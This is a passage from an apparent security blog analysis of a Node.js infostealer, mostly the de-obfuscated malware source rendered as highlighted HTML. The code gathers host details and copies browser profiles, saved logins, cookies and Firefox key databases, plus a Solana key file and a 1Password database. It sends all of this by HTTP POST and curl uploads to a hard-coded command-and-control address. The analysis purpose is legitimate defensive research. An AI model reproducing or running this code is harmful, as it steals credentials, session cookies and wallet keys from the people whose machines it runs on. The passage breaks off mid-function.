<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #C586C0">try</span><span style="color: #D4D4D4"> {</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #DCDCAA">exec</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">installCmd</span><span style="color: #D4D4D4">, (</span><span style="color: #9CDCFE">error</span><span style="color: #D4D4D4">, </span><span style="color: #9CDCFE">stdout</span><span style="color: #D4D4D4">, </span><span style="color: #9CDCFE">stderr</span><span style="color: #D4D4D4">) </span><span style="color: #569CD6">=&gt;</span><span style="color: #D4D4D4"> {</span></span>
<span class="line"><span style="color: #D4D4D4">                </span><span style="color: #6A9955">// After attempting installation, run the fallback or execute payload</span></span>
<span class="line"><span style="color: #D4D4D4">                </span><span style="color: #DCDCAA">finalizeInstallation</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">directory</span><span style="color: #D4D4D4">);</span></span>
<span class="line"><span style="color: #D4D4D4">            });</span></span>
<span class="line"><span style="color: #D4D4D4">        } </span><span style="color: #C586C0">catch</span><span style="color: #D4D4D4"> (</span><span style="color: #9CDCFE">e</span><span style="color: #D4D4D4">) {</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #6A9955">// If exec throws, try fallback method</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #DCDCAA">finalizeInstallation</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">directory</span><span style="color: #D4D4D4">);</span></span>
<span class="line"><span style="color: #D4D4D4">        }</span></span>
<span class="line"><span style="color: #D4D4D4">    }</span></span>
<span class="line"><span style="color: #D4D4D4">}</span></span></code></pre></div>



<p class="wp-block-paragraph">By utilizing manual de-obfuscation, LLMs and specialized tools we concluded to the following de-obfuscated code:</p>



<div class="wp-block-kevinbatdorf-code-block-pro" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#2b2b2b;color:#c7c7c7">JavaScript</span><span role="button" tabindex="0" style="color:#D4D4D4;display:none" aria-label="Copy" class="code-block-pro-copy-button"><pre class="code-block-pro-copy-button-pre" aria-hidden="true"><textarea class="code-block-pro-copy-button-textarea" tabindex="-1" aria-hidden="true" readonly>// **Dependencies and Environment Setup**
const fs = require('fs');
const os = require('os');
const path = require('path');
const request = require('request');
const { exec } = require('child_process');

// Retrieve basic OS and user information
const homeDir    = os.homedir();               // Home directory
const hostName   = os.hostname();             // Hostname
const platform   = os.platform();             // 'win32', 'darwin', 'linux', etc.
const userInfo   = os.userInfo();            // User info object (includes username)
const tempDir    = os.tmpdir();               // Temporary directory

// If on Mac (Darwin), include username in host identifier; otherwise use hostname only
let hostId = hostName;
if (platform.startsWith('darwin')) {
    hostId = `${hostName}+${userInfo.username}`;  // e.g., "hostname+username"
}

// **Utility Functions**

// Base64 decode a string to UTF-8
function base64Decode(str) {
    return Buffer.from(str, 'base64').toString('utf8');
}

// Expand a path starting with ~ (tilde) to full path.
// - "~/" becomes the current user's home directory.
// - "~username" becomes "/home/username" on *nix or appropriate user directory.
function expandTilde(filePath) {
    return filePath.replace(/^~(&#91;a-z&#93;+|\/)/, (match, usernameOrSlash) => {
        if (usernameOrSlash === '/') {
            // "~/" -> current user's home directory
            return homeDir;
        } else {
            // "~username" -> home directory of that user (assume same base dir as current user)
            const parentDir = path.dirname(homeDir);
            return `${parentDir}/${usernameOrSlash}`; 
        }
    });
}

// Check if a file or directory exists (synchronously)
function fileExists(filePath) {
    try {
        fs.accessSync(filePath);
        return true;
    } catch (err) {
        return false;
    }
}

// **Server Communication Setup**

// The malware’s command-and-control server URL and type code
const SERVER_URL = "http://147.124.212.125:1244";   // Base C2 URL (decoded from obfuscated data)
const TYPE_CODE  = "ugDtMe1";                      // Identifier for the type of data being sent (opaque value)

// Helper to construct full endpoint URL for data submission
// (In this malware, the endpoint path is '/client')
const ENDPOINT_PATH = "/client";  // decoded target endpoint

// **Data Exfiltration Function**
// Sends collected data to the C2 server via HTTP POST.
function sendData(payload) {
    // Prepare the form data with timestamp, host id, type code, and payload
    const timestamp = Date.now().toString();
    const formData = {
        "timestamp": timestamp,
        "type": TYPE_CODE,
        "hid": hostId,
        "data": payload   // The data to send (could be array of files or other JSON)
    };
    // Compose request options
    const options = {
        url: SERVER_URL + ENDPOINT_PATH,   // e.g., "http://147.124.212.125:1244/client"
        formData: formData
    };
    // Perform HTTP POST request to send the data
    request.post(options, (error, response, body) => {
        // No response handling (the malware ignores server response or errors)
    });
}

// **Target Paths for Data Collection**

// Define target directories for Chrome/Brave/Opera/Firefox, etc., depending on OS:
const baseDirWindows = "Local";         // on Windows, under %LOCALAPPDATA%
const baseDirLinux   = ".config";      // on Linux, under ~/.config
const baseDirMac     = "Library/Application Support"; // on macOS, under ~/Library/Application Support

// Chrome paths for Windows, macOS, and Linux
const chromeWinDir = "Google/Chrome";           // Windows: ...\Local\Google\Chrome
const chromeMacDir = "Google/Chrome";           // macOS: ~/Library/Application Support/Google/Chrome
const chromeLinuxDir = "google-chrome";         // Linux: ~/.config/google-chrome

// Brave paths for Windows, macOS, and Linux
const braveBaseDir = "BraveSoftware";           // Base folder name for Brave (Win/Mac)
const braveBrowserDir = "Brave-Browser";        // Subfolder for Brave browser profile data
const braveWinDir = `${braveBaseDir}`;          // Windows: ...\Local\BraveSoftware (Brave-Browser inside)
const braveMacDir = `${braveBaseDir}`;          // macOS: ~/Library/Application Support/BraveSoftware
const braveLinuxDir = "BraveSoftware";          // Linux: ~/.config/BraveSoftware (Brave-Browser inside)

// Opera paths (Opera Stable) for Windows and macOS (Linux Opera not explicitly handled in code)
const operaWinDir = "Opera Software\\Opera Stable";     // Windows: ...\Roaming\Opera Software\Opera Stable
const operaMacDir = "Opera Software/Opera Stable";      // macOS: ~/Library/Application Support/Opera Software/Opera Stable

// Firefox paths
const firefoxWinDir = "Mozilla\\Firefox\\Profiles";     // Windows: ...\AppData\Roaming\Mozilla\Firefox\Profiles
const firefoxMacDir = "Firefox/Profiles";               // macOS: ~/Library/Application Support/Firefox/Profiles
const firefoxLinuxDir = ".mozilla/firefox";             // Linux: ~/.mozilla/firefox

// 1Password paths (for macOS)
const onePasswordMacDir = "1Password";  // e.g., ~/Library/Application Support/1Password
// (Note: In the code, specific 1Password container paths are targeted by a unique identifier.)

// **Data Collection Functions**

// Create a read stream for a given file (used to collect file content without loading into memory)
function readFileStream(filePath) {
    return fs.createReadStream(filePath);
}

// Synchronously read an entire file (not heavily used in this malware; streams preferred)
function readFile(filePath) {
    return fs.readFileSync(filePath);
}

// Copy a directory recursively (used to duplicate browser profile data to a temp location)
function copyDirectory(src, dest) {
    fs.cpSync(src, dest, { recursive: true });
}

// The malware collects files from a browser's profile directories.
// `collectBrowserData(paths, prefix)` will search the possible `paths` (based on OS) for profile data.
// - `paths` is an array &#91;windowsPath, macPath, linuxPath&#93; for the base browser profile directory.
// - `prefix` is a label used in naming the collected data entries (e.g., "3_" for Chrome).
async function collectBrowserData(paths, prefix) {
    let collectedFiles = [];

    // Determine base profile directory according to current OS
    let baseProfileDir;
    if (platform.startsWith('win')) {
        // Windows: e.g., "C:\Users\&lt;User>\AppData\Local\&lt;paths&#91;0&#93;>"
        baseProfileDir = path.join(homeDir, 'AppData', paths&#91;0&#93;);
    } else if (platform.startsWith('darwin')) {
        // macOS: e.g., "~/Library/Application Support/&lt;paths&#91;1&#93;>"
        baseProfileDir = path.join(homeDir, baseDirMac, paths&#91;1&#93;);
    } else {
        // Linux: e.g., "~/.config/&lt;paths&#91;2&#93;>"
        baseProfileDir = path.join(homeDir, baseDirLinux, paths&#91;2&#93;);
    }

    // Only proceed if base profile directory exists
    if (!fileExists(baseProfileDir)) {
        return []; // No data if directory not present
    }

    // Profile directories: Default profile is usually "Default" or for Firefox random name, etc.
    // The malware tries profile "Default" (index 0) and profile "Profile 1", "Profile 2", etc. (index 1,2,...)
    const defaultProfileName = "Default";
    const altProfilePrefix = "Profile ";

    for (let profileIndex = 0; profileIndex &lt; 2; profileIndex++) {
        // Determine profile directory name
        const profileDirName = (profileIndex === 0) ? defaultProfileName : `${altProfilePrefix}${profileIndex}`;
        const profilePath = path.join(baseProfileDir, profileDirName);
        if (!fileExists(profilePath)) continue;  // skip if profile directory doesn't exist

        // Create a temporary copy of the profile (if it’s large, could be truncated by threshold logic)
        const tempCopyDir = path.join(profilePath, prefix + profileIndex);  // e.g., append "3_0"
        try {
            copyDirectory(profilePath, tempCopyDir);
        } catch (e) {
            // If copy fails, likely due to permissions or large size, continue with partial data
        }

        // Now collect specific files of interest from the profile:
        // e.g., for Chrome/Brave:
        // - Login Data (saved passwords, SQLite DB)
        // - Cookies (browser cookies, SQLite DB)
        // - History (browsing history)
        // - Preferences, etc.
        // (For Firefox, it will target key files like key4.db, logins.json, etc.)
        const targetFiles = &#91;
            "Login Data",        // encrypted saved passwords (Chrome/Brave)
            "Cookies",           // cookies storage
            "History",           // browsing history
            "Bookmarks",         // bookmarks
            "Preferences"        // browser preferences (contains sync info, etc.)
        &#93;;
        const profileFilesDir = profilePath;  // base directory where the above files reside (for Chrome/Brave, it's the profile dir itself)

        for (const fileName of targetFiles) {
            const filePath = path.join(profileFilesDir, fileName);
            if (fileExists(filePath)) {
                // Use a readable stream to collect file content
                const fileStream = readFileStream(filePath);
                collectedFiles.push({
                    filename: `${prefix}${profileIndex}_${fileName}`,  // label the file with prefix and profile index
                    content: fileStream
                });
            }
        }

        // Additionally, for Firefox profiles, gather key databases and login JSON:
        // (Firefox profiles have e.g., "logins.json", "key4.db", "key3.db")
        if (prefix === "firefox_") {
            const firefoxFiles = &#91;"logins.json", "key4.db", "key3.db"&#93;;
            for (const fname of firefoxFiles) {
                const filePath = path.join(profilePath, fname);
                if (fileExists(filePath)) {
                    const fStream = readFileStream(filePath);
                    collectedFiles.push({
                        filename: `${prefix}${profileIndex}_${fname}`,
                        content: fStream
                    });
                }
            }
        }
    }

    // If any files collected for this browser, send them
    if (collectedFiles.length > 0) {
        sendData(collectedFiles);
    }
    return collectedFiles;
}

// **Main Execution**

(async () => {
    // Mark the start time
    const startTime = Date.now();
    // Collect data from browsers and other sources, depending on the OS

    try {
        // Google Chrome
        await collectBrowserData(&#91;`${baseDirWindows}\\${chromeWinDir}`, `${chromeMacDir}`, `${chromeLinuxDir}`&#93;, "3_");

        // Brave Browser
        await collectBrowserData(&#91;`${baseDirWindows}\\${braveWinDir}`, `${braveMacDir}`, `${braveLinuxDir}`&#93;, "brave_");

        // Opera Browser (Opera Stable)
        await collectBrowserData(&#91;`Roaming\\${operaWinDir}`, `${operaMacDir}`, /* no explicit Linux path for Opera in this code */&#93;, "opera_");

        // Mozilla Firefox
        await collectBrowserData(&#91;`${baseDirWindows}\\${firefoxWinDir}`, `${baseDirMac}/${firefoxMacDir}`, `${firefoxLinuxDir}`&#93;, "firefox_");

        // Additional data collection for other software:
        // - System Keychains (macOS) or Windows Credential Vaults could be targeted.
        // - 1Password vaults on macOS.
        // - Cryptocurrency wallet credentials (the code references "solana_id.txt" for Solana).
        // - Possibly other saved credentials in local files.

        // Example: Collect Solana CLI key (if exists)
        const solanaKeyPath = path.join(homeDir, ".config/solana/id.txt");
        if (fileExists(solanaKeyPath)) {
            const solanaKeyData = readFile(solanaKeyPath);
            sendData(&#91;{ filename: "solana_id.txt", content: solanaKeyData.toString() }&#93;);
        }

        // Example: Collect 1Password database (if exists on Mac)
        if (platform.startsWith('darwin')) {
            // 1Password 7 on macOS stores data under ~/Library/Application Support/1Password
            const onePasswordPath = path.join(homeDir, "Library/Application Support/1Password", "Data", "OnePassword.sqlite");
            if (fileExists(onePasswordPath)) {
                const onePasswordDB = readFile(onePasswordPath);
                sendData(&#91;{ filename: "OnePassword.sqlite", content: onePasswordDB.toString('base64') }&#93;);
            }
        }

    } catch (e) {
        // Handle any errors silently to avoid crashing
    }

    // **Exfiltration Packaging and Sending**

    // The malware writes all collected data to a local file (archive) and periodically uploads it.
    const archivePath = path.join(tempDir, "pld_data.zip");  // e.g., temp directory file for payload
    const MAX_ARCHIVE_SIZE = 0x5000000;  // ~80 MB threshold (hex value 0x4FA0000 in obfuscated code)

    let lastSize = 0;
    function checkAndSendArchive() {
        if (!fileExists(archivePath)) {
            // If archive doesn't exist, create it by zipping collected data
            const output = fs.createWriteStream(archivePath);
            // In the obfuscated code, they used `curl` directly to upload instead of zipping via code.
            // Here, you would normally zip the files. The malware instead uses an OS command to send.
            // For clarity, assume data was already written to archivePath.
        } else {
            const stats = fs.statSync(archivePath);
            if (stats.size >= MAX_ARCHIVE_SIZE) {
                // If archive file exceeds threshold, send it
                exec(`curl -T "${archivePath}" ${SERVER_URL}${ENDPOINT_PATH} `, (err, stdout, stderr) => {
                    // Once uploaded, delete the local archive
                    try { fs.unlinkSync(archivePath); } catch {}
                    lastSize = 0;
                });
            } else {
                if (lastSize >= stats.size) {
                    // If file size hasn't increased since last check, assume done writing and send
                    exec(`curl -T "${archivePath}" "${SERVER_URL}${ENDPOINT_PATH}"`, () => {
                        try { fs.unlinkSync(archivePath); } catch {}
                    });
                } else {
                    // If archive is still growing, update lastSize and check again later
                    lastSize = stats.size;
                    setTimeout(checkAndSendArchive, 1000);  // re-check after some time
                }
            }
        }
    }

    // Start periodic check for sending archive
    checkAndSendArchive();

    // Also, if on Windows, the malware attempts to gather additional credentials (like keychain equivalent or other app data).
    // If on Mac/Linux, it may also target local keychains or default browser profiles.
    // These are handled in the above blocks or similar logic elsewhere in the code.

})();
</textarea></pre><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki dark-plus" style="background-color: #1E1E1E" tabindex="0"><code><span class="line"><span style="color: #6A9955">// **Dependencies and Environment Setup**</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">fs</span><span style="color: #D4D4D4"> = </span><span style="color: #DCDCAA">require</span><span style="color: #D4D4D4">(</span><span style="color: #CE9178">&#39;fs&#39;</span><span style="color: #D4D4D4">);</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">os</span><span style="color: #D4D4D4"> = </span><span style="color: #DCDCAA">require</span><span style="color: #D4D4D4">(</span><span style="color: #CE9178">&#39;os&#39;</span><span style="color: #D4D4D4">);</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">path</span><span style="color: #D4D4D4"> = </span><span style="color: #DCDCAA">require</span><span style="color: #D4D4D4">(</span><span style="color: #CE9178">&#39;path&#39;</span><span style="color: #D4D4D4">);</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">request</span><span style="color: #D4D4D4"> = </span><span style="color: #DCDCAA">require</span><span style="color: #D4D4D4">(</span><span style="color: #CE9178">&#39;request&#39;</span><span style="color: #D4D4D4">);</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> { </span><span style="color: #4FC1FF">exec</span><span style="color: #D4D4D4"> } = </span><span style="color: #DCDCAA">require</span><span style="color: #D4D4D4">(</span><span style="color: #CE9178">&#39;child_process&#39;</span><span style="color: #D4D4D4">);</span></span>
<span class="line"></span>
<span class="line"><span style="color: #6A9955">// Retrieve basic OS and user information</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">homeDir</span><span style="color: #D4D4D4">    = </span><span style="color: #9CDCFE">os</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">homedir</span><span style="color: #D4D4D4">();               </span><span style="color: #6A9955">// Home directory</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">hostName</span><span style="color: #D4D4D4">   = </span><span style="color: #9CDCFE">os</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">hostname</span><span style="color: #D4D4D4">();             </span><span style="color: #6A9955">// Hostname</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">platform</span><span style="color: #D4D4D4">   = </span><span style="color: #9CDCFE">os</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">platform</span><span style="color: #D4D4D4">();             </span><span style="color: #6A9955">// &#39;win32&#39;, &#39;darwin&#39;, &#39;linux&#39;, etc.</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">userInfo</span><span style="color: #D4D4D4">   = </span><span style="color: #9CDCFE">os</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">userInfo</span><span style="color: #D4D4D4">();            </span><span style="color: #6A9955">// User info object (includes username)</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">tempDir</span><span style="color: #D4D4D4">    = </span><span style="color: #9CDCFE">os</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">tmpdir</span><span style="color: #D4D4D4">();               </span><span style="color: #6A9955">// Temporary directory</span></span>
<span class="line"></span>
<span class="line"><span style="color: #6A9955">// If on Mac (Darwin), include username in host identifier; otherwise use hostname only</span></span>
<span class="line"><span style="color: #569CD6">let</span><span style="color: #D4D4D4"> </span><span style="color: #9CDCFE">hostId</span><span style="color: #D4D4D4"> = </span><span style="color: #9CDCFE">hostName</span><span style="color: #D4D4D4">;</span></span>
<span class="line"><span style="color: #C586C0">if</span><span style="color: #D4D4D4"> (</span><span style="color: #9CDCFE">platform</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">startsWith</span><span style="color: #D4D4D4">(</span><span style="color: #CE9178">&#39;darwin&#39;</span><span style="color: #D4D4D4">)) {</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #9CDCFE">hostId</span><span style="color: #D4D4D4"> = </span><span style="color: #CE9178">`</span><span style="color: #569CD6">${</span><span style="color: #9CDCFE">hostName</span><span style="color: #569CD6">}</span><span style="color: #CE9178">+</span><span style="color: #569CD6">${</span><span style="color: #9CDCFE">userInfo</span><span style="color: #D4D4D4">.</span><span style="color: #9CDCFE">username</span><span style="color: #569CD6">}</span><span style="color: #CE9178">`</span><span style="color: #D4D4D4">;  </span><span style="color: #6A9955">// e.g., &quot;hostname+username&quot;</span></span>
<span class="line"><span style="color: #D4D4D4">}</span></span>
<span class="line"></span>
<span class="line"><span style="color: #6A9955">// **Utility Functions**</span></span>
<span class="line"></span>
<span class="line"><span style="color: #6A9955">// Base64 decode a string to UTF-8</span></span>
<span class="line"><span style="color: #569CD6">function</span><span style="color: #D4D4D4"> </span><span style="color: #DCDCAA">base64Decode</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">str</span><span style="color: #D4D4D4">) {</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #C586C0">return</span><span style="color: #D4D4D4"> </span><span style="color: #9CDCFE">Buffer</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">from</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">str</span><span style="color: #D4D4D4">, </span><span style="color: #CE9178">&#39;base64&#39;</span><span style="color: #D4D4D4">).</span><span style="color: #DCDCAA">toString</span><span style="color: #D4D4D4">(</span><span style="color: #CE9178">&#39;utf8&#39;</span><span style="color: #D4D4D4">);</span></span>
<span class="line"><span style="color: #D4D4D4">}</span></span>
<span class="line"></span>
<span class="line"><span style="color: #6A9955">// Expand a path starting with ~ (tilde) to full path.</span></span>
<span class="line"><span style="color: #6A9955">// - &quot;~/&quot; becomes the current user&#39;s home directory.</span></span>
<span class="line"><span style="color: #6A9955">// - &quot;~username&quot; becomes &quot;/home/username&quot; on *nix or appropriate user directory.</span></span>
<span class="line"><span style="color: #569CD6">function</span><span style="color: #D4D4D4"> </span><span style="color: #DCDCAA">expandTilde</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">filePath</span><span style="color: #D4D4D4">) {</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #C586C0">return</span><span style="color: #D4D4D4"> </span><span style="color: #9CDCFE">filePath</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">replace</span><span style="color: #D4D4D4">(</span><span style="color: #D16969">/</span><span style="color: #DCDCAA">^</span><span style="color: #D16969">~</span><span style="color: #CE9178">(&#91;</span><span style="color: #D16969">a-z</span><span style="color: #CE9178">&#93;</span><span style="color: #D7BA7D">+</span><span style="color: #DCDCAA">|</span><span style="color: #D7BA7D">\/</span><span style="color: #CE9178">)</span><span style="color: #D16969">/</span><span style="color: #D4D4D4">, (</span><span style="color: #9CDCFE">match</span><span style="color: #D4D4D4">, </span><span style="color: #9CDCFE">usernameOrSlash</span><span style="color: #D4D4D4">) </span><span style="color: #569CD6">=&gt;</span><span style="color: #D4D4D4"> {</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #C586C0">if</span><span style="color: #D4D4D4"> (</span><span style="color: #9CDCFE">usernameOrSlash</span><span style="color: #D4D4D4"> === </span><span style="color: #CE9178">&#39;/&#39;</span><span style="color: #D4D4D4">) {</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #6A9955">// &quot;~/&quot; -&gt; current user&#39;s home directory</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #C586C0">return</span><span style="color: #D4D4D4"> </span><span style="color: #9CDCFE">homeDir</span><span style="color: #D4D4D4">;</span></span>
<span class="line"><span style="color: #D4D4D4">        } </span><span style="color: #C586C0">else</span><span style="color: #D4D4D4"> {</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #6A9955">// &quot;~username&quot; -&gt; home directory of that user (assume same base dir as current user)</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">parentDir</span><span style="color: #D4D4D4"> = </span><span style="color: #9CDCFE">path</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">dirname</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">homeDir</span><span style="color: #D4D4D4">);</span></span>
<span class="line"><span style="color: #D4D4D4">            </span><span style="color: #C586C0">return</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">`</span><span style="color: #569CD6">${</span><span style="color: #9CDCFE">parentDir</span><span style="color: #569CD6">}</span><span style="color: #CE9178">/</span><span style="color: #569CD6">${</span><span style="color: #9CDCFE">usernameOrSlash</span><span style="color: #569CD6">}</span><span style="color: #CE9178">`</span><span style="color: #D4D4D4">; </span></span>
<span class="line"><span style="color: #D4D4D4">        }</span></span>
<span class="line"><span style="color: #D4D4D4">    });</span></span>
<span class="line"><span style="color: #D4D4D4">}</span></span>
<span class="line"></span>
<span class="line"><span style="color: #6A9955">// Check if a file or directory exists (synchronously)</span></span>
<span class="line"><span style="color: #569CD6">function</span><span style="color: #D4D4D4"> </span><span style="color: #DCDCAA">fileExists</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">filePath</span><span style="color: #D4D4D4">) {</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #C586C0">try</span><span style="color: #D4D4D4"> {</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #9CDCFE">fs</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">accessSync</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">filePath</span><span style="color: #D4D4D4">);</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #C586C0">return</span><span style="color: #D4D4D4"> </span><span style="color: #569CD6">true</span><span style="color: #D4D4D4">;</span></span>
<span class="line"><span style="color: #D4D4D4">    } </span><span style="color: #C586C0">catch</span><span style="color: #D4D4D4"> (</span><span style="color: #9CDCFE">err</span><span style="color: #D4D4D4">) {</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #C586C0">return</span><span style="color: #D4D4D4"> </span><span style="color: #569CD6">false</span><span style="color: #D4D4D4">;</span></span>
<span class="line"><span style="color: #D4D4D4">    }</span></span>
<span class="line"><span style="color: #D4D4D4">}</span></span>
<span class="line"></span>
<span class="line"><span style="color: #6A9955">// **Server Communication Setup**</span></span>
<span class="line"></span>
<span class="line"><span style="color: #6A9955">// The malware’s command-and-control server URL and type code</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">SERVER_URL</span><span style="color: #D4D4D4"> = </span><span style="color: #CE9178">&quot;http://147.124.212.125:1244&quot;</span><span style="color: #D4D4D4">;   </span><span style="color: #6A9955">// Base C2 URL (decoded from obfuscated data)</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">TYPE_CODE</span><span style="color: #D4D4D4">  = </span><span style="color: #CE9178">&quot;ugDtMe1&quot;</span><span style="color: #D4D4D4">;                      </span><span style="color: #6A9955">// Identifier for the type of data being sent (opaque value)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #6A9955">// Helper to construct full endpoint URL for data submission</span></span>
<span class="line"><span style="color: #6A9955">// (In this malware, the endpoint path is &#39;/client&#39;)</span></span>
<span class="line"><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">ENDPOINT_PATH</span><span style="color: #D4D4D4"> = </span><span style="color: #CE9178">&quot;/client&quot;</span><span style="color: #D4D4D4">;  </span><span style="color: #6A9955">// decoded target endpoint</span></span>
<span class="line"></span>
<span class="line"><span style="color: #6A9955">// **Data Exfiltration Function**</span></span>
<span class="line"><span style="color: #6A9955">// Sends collected data to the C2 server via HTTP POST.</span></span>
<span class="line"><span style="color: #569CD6">function</span><span style="color: #D4D4D4"> </span><span style="color: #DCDCAA">sendData</span><span style="color: #D4D4D4">(</span><span style="color: #9CDCFE">payload</span><span style="color: #D4D4D4">) {</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #6A9955">// Prepare the form data with timestamp, host id, type code, and payload</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">timestamp</span><span style="color: #D4D4D4"> = </span><span style="color: #9CDCFE">Date</span><span style="color: #D4D4D4">.</span><span style="color: #DCDCAA">now</span><span style="color: #D4D4D4">().</span><span style="color: #DCDCAA">toString</span><span style="color: #D4D4D4">();</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">formData</span><span style="color: #D4D4D4"> = {</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #CE9178">&quot;timestamp&quot;</span><span style="color: #9CDCFE">:</span><span style="color: #D4D4D4"> </span><span style="color: #9CDCFE">timestamp</span><span style="color: #D4D4D4">,</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #CE9178">&quot;type&quot;</span><span style="color: #9CDCFE">:</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">TYPE_CODE</span><span style="color: #D4D4D4">,</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #CE9178">&quot;hid&quot;</span><span style="color: #9CDCFE">:</span><span style="color: #D4D4D4"> </span><span style="color: #9CDCFE">hostId</span><span style="color: #D4D4D4">,</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #CE9178">&quot;data&quot;</span><span style="color: #9CDCFE">:</span><span style="color: #D4D4D4"> </span><span style="color: #9CDCFE">payload</span><span style="color: #D4D4D4">   </span><span style="color: #6A9955">// The data to send (could be array of files or other JSON)</span></span>
<span class="line"><span style="color: #D4D4D4">    };</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #6A9955">// Compose request options</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">options</span><span style="color: #D4D4D4"> = {</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #9CDCFE">url:</span><span style="color: #D4D4D4"> </span><span style="color: #4FC1FF">SERVER_URL</span><span style="color: #D4D4D4"> + </span><span style="color: #4FC1FF">ENDPOINT_PATH</span><span style="color: #D4D4D4">,   </span><span style="color: #6A9955">// e.g., &quot;http://147.124.212.125:1244/client&quot;</span></span>
<span class="line"><span style="color: #D4D4D4">        </span><span style="color: #9CDCFE">formData:</span><span style="color: #D4D4D4"> </span><span style="color: #9CDCFE">formData</span></span>
<span class="line"><span style="color: #D4D4D4">    };</span></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #6A9955">// Perform HTTP POST request to send the data</span></span>
